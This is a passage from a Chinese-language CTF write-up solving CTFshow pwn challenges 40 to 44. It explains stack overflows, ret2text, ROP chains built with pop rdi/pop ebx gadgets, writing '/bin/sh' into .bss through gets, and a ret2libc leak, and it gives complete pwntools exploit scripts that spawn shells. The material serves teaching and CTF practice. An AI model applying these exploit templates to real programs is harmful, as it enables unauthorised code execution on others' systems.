是一个返回指令，用于将程序控制权返回到栈上保存的地址。在这个payload中，它被用作一个间接跳转指令，用于绕过栈中的返回地址，以达到执行 system 函数的目的。</p></li><li><p>p64(system) : 这部分使用 p64 函数将 system 的函数地址转换为一个8字节的字符串。system 是一个函数指针，指向一个可以执行系统命令的函数。最终我们的目的就是通过栈溢出修改返回地址，以控制程序执行流程。它通过调用 pop_rdi 指令将bin_sh 的地址加载到寄存器rdi中，然后通过 ret 指令进行间接跳转，最终调用 system 函数，以执行system(“&#x2F;bin&#x2F;sh”)进而获得一个我们想要的shell。</p></li></ol><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.init:00000000004004FE                 retn</span><br><span class="line">.rodata:0000000000400808 s               db &#x27;/bin/sh&#x27;,0          ; DATA XREF: hint+4↑o</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">pop_rdi=<span class="number">0x4007E3</span></span><br><span class="line">bin_sh=<span class="number">0x400808</span></span><br><span class="line">ret=<span class="number">0x4004FE</span></span><br><span class="line">payload=cyclic(<span class="number">0xA</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 239</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : It has system and <span class="string">&#x27;/bin/sh&#x27;</span>,but they don<span class="string">&#x27;t work together</span></span><br><span class="line"><span class="string">    * *************************************</span></span><br><span class="line"><span class="string">Just easy ret2text&amp;&amp;64bit</span></span><br><span class="line"><span class="string">$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag  exp.py  pwn</span></span><br></pre></td></tr></table></figure><h2 id="pwn41"><a href="#pwn41" class="headerlink" title="pwn41"></a>pwn41</h2><h6 id="Hint：32位的-system-但是没”-bin-sh”-，好像有其他的可以替代"><a href="#Hint：32位的-system-但是没”-bin-sh”-，好像有其他的可以替代" class="headerlink" title="Hint：32位的 system(); 但是没”&#x2F;bin&#x2F;sh” ，好像有其他的可以替代"></a>Hint：32位的 system(); 但是没”&#x2F;bin&#x2F;sh” ，好像有其他的可以替代</h6><p>与上面一样，只不过这次出现的不是“&#x2F;bin&#x2F;sh”字符串，题目提示让我们找到一个字符串来进行替代它，通过对前面的学习，我们知道可以使用”sh”来进行替代“&#x2F;bin&#x2F;sh</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">useful</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么它两有什么区别呢？</p><ol><li><p>system(“&#x2F;bin&#x2F;sh”) ：</p><ul><li>在Linux和类Unix系统中， &#x2F;bin&#x2F;sh 通常是一个符号链接，指向系统默认的shell程序（如Bash或Shell）。因此，使用 system(“&#x2F;bin&#x2F;sh”) 会启动指定的shell程序，并在新的子进程中执行。</li><li>这种方式可以确保使用系统默认的shell程序执行命令，因为 &#x2F;bin&#x2F;sh 链接通常指向默认shell的可执行件。</li></ul></li><li><p>system(“sh”) ：</p><ul><li>使用 system(“sh”) 会直接启动一个名为 sh 的shell程序，并在新的子进程中执行。</li><li>这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径，否则可能会导致找不到 sh 而执行失败。</li></ul></li></ol><p>总结来说， system(“&#x2F;bin&#x2F;sh”) 是直接指定了系统默认的shell程序路径来执行命令，而system(“sh”) 则依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确，这两种方式是等效的</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:080487BA aSh             db &#x27;sh&#x27;,0               ; DATA XREF: useful+14↑o</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">sh=<span class="number">0x080487BA</span></span><br><span class="line">payload=cyclic(<span class="number">0x12</span>+<span class="number">4</span>)+p32(system)+p32(<span class="number">0</span>)+p32(sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 263</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : It has system ,but don<span class="string">&#x27;t have &#x27;</span>/bin/sh<span class="string">&#x27;.Find something to replace it!</span></span><br><span class="line"><span class="string">    * *************************************</span></span><br><span class="line"><span class="string">$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag  exp.py  pwn</span></span><br></pre></td></tr></table></figure><h2 id="pwn42"><a href="#pwn42" class="headerlink" title="pwn42"></a>pwn42</h2><h6 id="Hint：64位的-system-但是没”-bin-sh”-，好像有其他的可以替代"><a href="#Hint：64位的-system-但是没”-bin-sh”-，好像有其他的可以替代" class="headerlink" title="Hint：64位的 system(); 但是没”&#x2F;bin&#x2F;sh” ，好像有其他的可以替代"></a>Hint：64位的 system(); 但是没”&#x2F;bin&#x2F;sh” ，好像有其他的可以替代</h6><p>同上，也仅仅是64位与32位的区别</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop rdi ; ret&quot;</span></span><br><span class="line">0x0000000000400843 : pop rdi ; ret</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.init:000000000040053E                 retn</span><br><span class="line">.rodata:0000000000400872 format          db &#x27;sh&#x27;,0               ; DATA XREF: useful+4↑o</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">pop_rdi=<span class="number">0x400843</span></span><br><span class="line">ret=<span class="number">0x40053E</span></span><br><span class="line">sh=<span class="number">0x400872</span></span><br><span class="line">payload=cyclic(<span class="number">0xA</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 286</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : It has system ,but don<span class="string">&#x27;t have &#x27;</span>/bin/sh<span class="string">&#x27;.Find something to replace it!</span></span><br><span class="line"><span class="string">    * *************************************</span></span><br><span class="line"><span class="string">$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag  exp.py  pwn</span></span><br></pre></td></tr></table></figure><h2 id="pwn43"><a href="#pwn43" class="headerlink" title="pwn43"></a>pwn43</h2><h6 id="Hint：32位的-system-但是好像没”-bin-sh”-上面的办法不行了，想想办法"><a href="#Hint：32位的-system-但是好像没”-bin-sh”-上面的办法不行了，想想办法" class="headerlink" title="Hint：32位的 system(); 但是好像没”&#x2F;bin&#x2F;sh” 上面的办法不行了，想想办法"></a>Hint：32位的 system(); 但是好像没”&#x2F;bin&#x2F;sh” 上面的办法不行了，想想办法</h6><p>这题又有所不同了，存在system函数，但是没有了参数供我们使用，需要我们自己去进行构造。我们一步步的开始学习新东西</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop ebx ; ret&quot;</span></span><br><span class="line">0x08048409 : pop ebx ; ret</span><br></pre></td></tr></table></figure><p>可以看到是32位程序，关闭栈保护和PIE保护的</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的，简单查看各个函数后跟进漏洞函数ctfshow：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">104</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">hint</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">time_t</span> seed; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  seed = time(<span class="number">0</span>);</span><br><span class="line">  srand(seed);</span><br><span class="line">  v3 = rand();</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v2);</span><br><span class="line">  result = v2;</span><br><span class="line">  <span class="keyword">if</span> ( v3 == v2 )</span><br><span class="line">    <span class="keyword">return</span> system(<span class="string">&quot;where is shell?&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次有变化了，这次是用gets函数进行读入数据，它可以无限读取，不会判断上限，可以包含空格，以回车结束读取。所以这里就存在了明显的溢出</p><p>同时我们可以看到程序中已有system函数，那么我们只需要去找到它的参数，但是遗憾的是并没有找到</p><p>但是我们可以注意bss段有一个buf2</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0804B060                 public buf2</span><br><span class="line">.bss:0804B060 buf2            db    ? ;</span><br></pre></td></tr></table></figure><p>那么我们向程序中 bss 段的 buf2 处写入 “&#x2F;bin&#x2F;sh” 字符串，并将其地址作为 system 的参数传入。</p><p>我们可以构造如下payload：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = cyclic(<span class="number">0x6c</span>+<span class="number">4</span>) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system)</span><br><span class="line">+ <span class="string">&#x27;aaaa&#x27;</span> + p32(buf2)</span><br></pre></td></tr></table></figure><p>我们逐步解释此payload：</p><ol><li><p>cyclic(0x6c+4) : 这部分使用pwntools库中的 cyclic 函数生成一个循环模式的字符串，长度为0x6c+4。循环模式字符串用于进行调试和定位溢出点。当然这里你也可以继续使用 b’a’*(0x6c+4)也是没有问题的。</p></li><li><p>p32(gets) : 这部分使用pwntools的 p32 函数将 gets 函数的地址转换为一个4字节的字符串。它用于将 gets 函数的地址作为返回地址覆盖到栈上。使程序在溢出时调用 gets 函数。</p></li><li><p>p32(pop_ebx) : 这部分使用 p32 函数将 pop_ebx 的地址转换为一个4字节的字符串。pop_ebx 是一个指令序列，用于将栈上的值弹出并存储到寄存器ebx中。(清理栈)</p></li><li><p>p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。 buf2 是一个指向存储输入数据的缓冲区的指针。</p></li><li><p>p32(system) : 这部分使用 p32 函数将 system 函数的地址转换为一个4字节的字符串。它将用于将 system 函数的地址作为返回地址覆盖到栈上。</p></li><li><p>‘aaaa’ : 这部分是一个4字节的字符串，用于填充栈上的返回地址的剩余空间。【可以写成p32(0)]</p></li><li><p>p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。它作为pop_ebx 指令的参数，用于将 buf2 的地址加载到寄存器ebx中。</p></li></ol><p>这个payload的目的是通过栈溢出漏洞控制程序的执行流程。它通过覆盖返回地址，将 gets 函数的地址作为返回地址覆盖到栈上。然后使用 pop_ebx 指令将 buf2 的地址加载到寄存器ebx中，最后覆盖返回地址为 system 函数的地址。通过这样的方式，可以执行 system(buf2) 来执行 buf2 指向的字符串所表示的系统命令。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 栈布局（高地址 → 低地址）</span><br><span class="line">+-------------------+  ← 初始栈顶（溢出前）</span><br><span class="line">|       ...         |  其他栈数据</span><br><span class="line">+-------------------+</span><br><span class="line">|   s[103] (局部)   |  ctfshow函数的局部数组s[104]</span><br><span class="line">|   s[102] (局部)   |  偏移：ebp-0x6C 到 ebp-0x1</span><br><span class="line">|       ...         |</span><br><span class="line">|   s[0] (局部)     |</span><br><span class="line">+-------------------+  ← ebp-0x6C（s的起始地址）</span><br><span class="line">|      ebp值        |  旧基址指针（4字节），偏移：ebp</span><br><span class="line">+-------------------+  ← 返回地址（溢出目标）</span><br><span class="line">|  gets函数地址     |  [溢出覆盖] 第一步：跳转到gets函数</span><br><span class="line">+-------------------+  ← gets执行完后返回的地址</span><br><span class="line">|  pop_ebx地址      |  [溢出覆盖] 第二步：执行pop ebx; ret</span><br><span class="line">+-------------------+  ← pop_ebx的参数（gets的参数）</span><br><span class="line">|  buf2地址(0x804B060)| [溢出覆盖] 往buf2写入&quot;/bin/sh&quot;(告诉gets将输入写入到buf2地址)</span><br><span class="line">+-------------------+  ← pop_ebx执行完后返回的地址</span><br><span class="line">|  system函数地址   |  [溢出覆盖] 第三步：跳转到system函数</span><br><span class="line">+-------------------+  ← system执行完后返回的地址（无用）</span><br><span class="line">|  占位数据(aaaa)   |  [溢出覆盖] 随便填4字节（如0x61616161）</span><br><span class="line">+-------------------+  ← system的参数</span><br><span class="line">| buf2地址(0x804B060)| [溢出覆盖] system(&quot;/bin/sh&quot;)的参数(告诉system执行buf2地址处的字符串)</span><br><span class="line">+-------------------+  ← 溢出后的栈顶（payload末尾）</span><br><span class="line">|       ...         |  更低地址的栈数据</span><br><span class="line"></span><br><span class="line"># 执行流程箭头说明：</span><br><span class="line">ctfshow函数崩溃 → 跳转到gets函数 → 执行gets(buf2) → 接收输入&quot;/bin/sh&quot;写入buf2 → 跳转到pop_ebx → 弹出buf2地址到ebx → 跳转到system函数 → system读取参数buf2 → 执行system(&quot;/bin/sh&quot;) → 获取shell</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">io.sendline(<span class="string">&quot;/bin/sh&quot;</span>)</span><br></pre></td></tr></table></figure><p>这里通过输入传递给 gets 函数。由于payload中已经控制了程序的执行流程，这个输入将成为gets 函数的输入，进而被作为 system 函数的参数执行系统命令。</p><p>最终我们这样就执行了system(“&#x2F;bin&#x2F;sh”) 进而实现了我们的目的了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">buf2=<span class="number">0x0804B060</span></span><br><span class="line">gets=elf.sym[<span class="string">&#x27;gets&#x27;</span>]</span><br><span class="line">pop_ebx=<span class="number">0x08048409</span></span><br><span class="line">payload=cyclic(<span class="number">0x6C</span>+<span class="number">4</span>)+p32(gets)+p32(pop_ebx)+p32(buf2)+p32(system)+p32(<span class="number">0</span>)+p32(buf2)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(<span class="string">&quot;/bin/sh&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 308</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">/CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes</span><br><span class="line">  io.sendline(<span class="string">&quot;/bin/sh&quot;</span>)</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : This <span class="keyword">time</span> there is no replacement! How to <span class="keyword">do</span>?</span><br><span class="line">    * *************************************</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  exp.py  pwn</span><br></pre></td></tr></table></figure><h2 id="pwn44"><a href="#pwn44" class="headerlink" title="pwn44"></a>pwn44</h2><h6 id="Hint：64位的-system-但是好像没”-bin-sh”-上面的办法不行了，想想办法"><a href="#Hint：64位的-system-但是好像没”-bin-sh”-上面的办法不行了，想想办法" class="headerlink" title="Hint：64位的 system(); 但是好像没”&#x2F;bin&#x2F;sh” 上面的办法不行了，想想办法"></a>Hint：64位的 system(); 但是好像没”&#x2F;bin&#x2F;sh” 上面的办法不行了，想想办法</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop rdi ; ret&quot;</span></span><br><span class="line">0x00000000004007f3 : pop rdi ; ret  </span><br></pre></td></tr></table></figure><p>64位程序仍然是关闭栈保护与PIE</p><p>IDA查看漏洞函数ctfshow：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE v1[<span class="number">10</span>]; <span class="comment">// [rsp+6h] [rbp-Ah] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(v1);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">hint</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;no shell for you&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是栈溢出漏洞，跟上题一样，有system函数，没有参数，也没有看到可以替代的</p><p>我们构造payload：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">payload = cyclic(0xA + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) +</span><br><span class="line">p64(pop_rdi) + p64(buf2) + p64(system) </span><br></pre></td></tr></table></figure><p>首先利用 pop_rdi 指令将 buf2 的地址加载到 rdi 寄存器中。调用 gets 函数，以 buf2 的地址作为参数，从用户输入中读取数据，并将其存储在 buf2 中。再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中。调用 system 函数，以 buf2 的地址作为参数，执行指定的命令。</p><p>或者也可以直接套板子ret2libc直接求解也是可以的（在下面的几题也是用的此种做法）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0000000000602080                 public buf2</span><br><span class="line">.bss:0000000000602080 buf2            db    ? ;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 栈布局（高地址 → 低地址）</span><br><span class="line">+-----------------------+  ← 初始栈顶（溢出前）</span><br><span class="line">|        ...            |  其他栈数据</span><br><span class="line">+-----------------------+</span><br><span class="line">|   局部变量（0xA字节）  |  被cyclic(0xA)覆盖</span><br><span class="line">+-----------------------+</span><br><span class="line">|       rbp值           |  旧基址指针（8字节），被cyclic(8)覆盖</span><br><span class="line">+-----------------------+  ← 返回地址（溢出目标）</span><br><span class="line">|   pop rdi地址         |  [溢出覆盖] 第一步：执行pop rdi; ret</span><br><span class="line">+-----------------------+  ← pop rdi的操作数（gets的参数）</span><br><span class="line">|   buf2地址(0x602080)  |  被弹出到rdi寄存器（gets要写入的地址）</span><br><span class="line">+-----------------------+  ← gets执行完后返回的地址</span><br><span class="line">|   gets函数地址        |  [溢出覆盖] 第二步：调用gets函数</span><br><span class="line">+-----------------------+  ← gets执行完后的返回地址</span><br><span class="line">|   pop rdi地址         |  [溢出覆盖] 第三步：再次执行pop rdi; ret</span><br><span class="line">+-----------------------+  ← pop rdi的操作数（system的参数）</span><br><span class="line">|   buf2地址(0x602080)  |  被弹出到rdi寄存器（此时已存&quot;/bin/sh&quot;）</span><br><span class="line">+-----------------------+  ← system执行完后返回的地址（可省略）</span><br><span class="line">|   system函数地址      |  [溢出覆盖] 第四步：调用system函数</span><br><span class="line">+-----------------------+  ← 溢出后的栈顶（payload末尾）</span><br><span class="line">|        ...            |  更低地址的栈数据</span><br><span class="line"></span><br><span class="line"># 执行流程箭头：</span><br><span class="line">溢出后 → pop rdi（rdi=buf2） → 调用gets → 写入&quot;/bin/sh&quot;到buf2 →</span><br><span class="line">pop rdi（rdi=buf2） → 调用system → system读取rdi中buf2的&quot;/bin/sh&quot; → 获取shell</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;amd64&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">gets=elf.sym[<span class="string">&#x27;gets&#x27;</span>]</span><br><span class="line">pop_rdi=<span class="number">0x4007f3</span></span><br><span class="line">buf2=<span class="number">0x602080</span></span><br><span class="line">payload=cyclic(<span class="number">0xA</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(buf2)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(system)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(<span class="string">b&quot;/bin/sh&quot;</span>)</span><br><span class="line">io.interactive()</span><br><span class="line"></span><br><span class="line">或者</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./pwn&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28137</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/home/bit/libc/64bit/libc-2.27.so&#x27;</span>)</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">pop_rdi = <span class="number">0x4007f3</span> <span class="comment"># 0x00000000004007f3 : pop rdi ; ret</span></span><br><span class="line">ret = <span class="number">0x4004fe</span> <span class="comment"># 0x00000000004004fe : ret</span></span><br><span class="line">payload = cyclic(<span class="number">0xA</span>+<span class="number">8</span>) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +</span><br><span class="line">p64(main)</span><br><span class="line">io.recvuntil(<span class="string">&quot;get system parameter!&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">puts = u64(io.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(puts)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">libc = LibcSearcher(&#x27;puts&#x27;,puts)</span></span><br><span class="line"><span class="string">libc_base = puts - libc.dump(&#x27;puts&#x27;)</span></span><br><span class="line"><span class="string">system = libc_base + libc.dump(&#x27;system&#x27;)</span></span><br><span class="line"><span class="string">bin_sh = libc_base + libc.dump(&#x27;str_bin_sh&#x27;)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">libc_base = puts - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">payload = cyclic(<span class="number">0xA</span>+<span class="number">8</span>) + p64(pop_rdi) + p64(bin_sh) + p64(ret) +</span><br><span class="line">p64(system)</span><br><span class="line">io.recvuntil(<span class="string">&quot;get system parameter!&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 333</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching 